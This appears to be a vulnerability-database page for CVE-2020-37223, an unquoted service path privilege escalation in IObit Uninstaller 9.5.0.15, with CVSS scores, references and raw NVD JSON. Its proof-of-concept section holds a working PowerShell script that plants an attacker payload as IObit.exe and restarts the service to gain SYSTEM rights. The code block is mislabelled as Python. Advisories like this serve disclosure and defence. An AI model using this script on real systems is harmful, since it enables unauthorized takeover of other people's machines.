CVE-2020-37223

Description

IObit Uninstaller 9.5.0.15 contains an unquoted service path vulnerability in the IObitUnSvr service that allows local attackers to escalate privileges to SYSTEM level. Attackers can place a malicious executable named IObit.exe in the C:\Program Files (x86)\IObit directory and restart the service to execute code with SYSTEM privileges.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

IObit Uninstaller 9.5.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: IObit Uninstaller 9.5.0.15 - Unquoted Service Path Privilege Escalation
# Description: Copy payload to target path and restart service.

$TargetPath = "C:\Program Files (x86)\IObit"
$PayloadName = "IObit.exe"
$ServiceName = "IObitUnSvr"

# Check if the vulnerable directory exists
if (Test-Path $TargetPath) {
    Write-Host "[+] Target directory found."
    
    # Copy malicious payload (e.g., add user, reverse shell) to the target
    # Assuming 'malicious.exe' is the attacker's payload
    if (Test-Path ".\malicious.exe") {
        Copy-Item ".\malicious.exe" "$TargetPath\$PayloadName"
        Write-Host "[+] Payload copied to $TargetPath\$PayloadName"
        
        # Attempt to restart the service to trigger the exploit
        try {
            Restart-Service -Name $ServiceName -Force -ErrorAction Stop
            Write-Host "[+] Service $ServiceName restarted. Exploit executed."
        } catch {
            Write-Host "[-] Failed to restart service. Manual restart or system reboot required."
        }
    } else {
        Write-Host "[-] Payload 'malicious.exe' not found in current directory."
    }
} else {
    Write-Host "[-] Target directory not found. IObit Uninstaller may not be installed."
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-37223
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-37223
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-37223/
[4] VulDB https://vuldb.com/cve/CVE-2020-37223
[5] https://www.exploit-db.com/exploits/48543
[6] https://www.iobit.com
[7] https://www.iobit.com/en/advanceduninstaller.php
[8] https://www.vulncheck.com/advisories/iobit-uninstaller-unquoted-service-path-privilege-escalation

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-37223", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:33.847", "lastModified": "2026-05-13T17:07:21.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "IObit Uninstaller 9.5.0.15 contains an unquoted service path vulnerability in the IObitUnSvr service that allows local attackers to escalate privileges to SYSTEM level. Attackers can place a malicious executable named IObit.exe in the C:\\Program Files (x86)\\IObit directory and restart the service to execute code with SYSTEM privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/48543", "source": "[email protected]"}, {"url": "https://www.iobit.com", "source": "[email protected]"}, {"url": "https://www.iobit.com/en/advanceduninstaller.php", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/iobit-uninstaller-unquoted-service-path-privilege-escalation", "source": "[email protected]"}]}}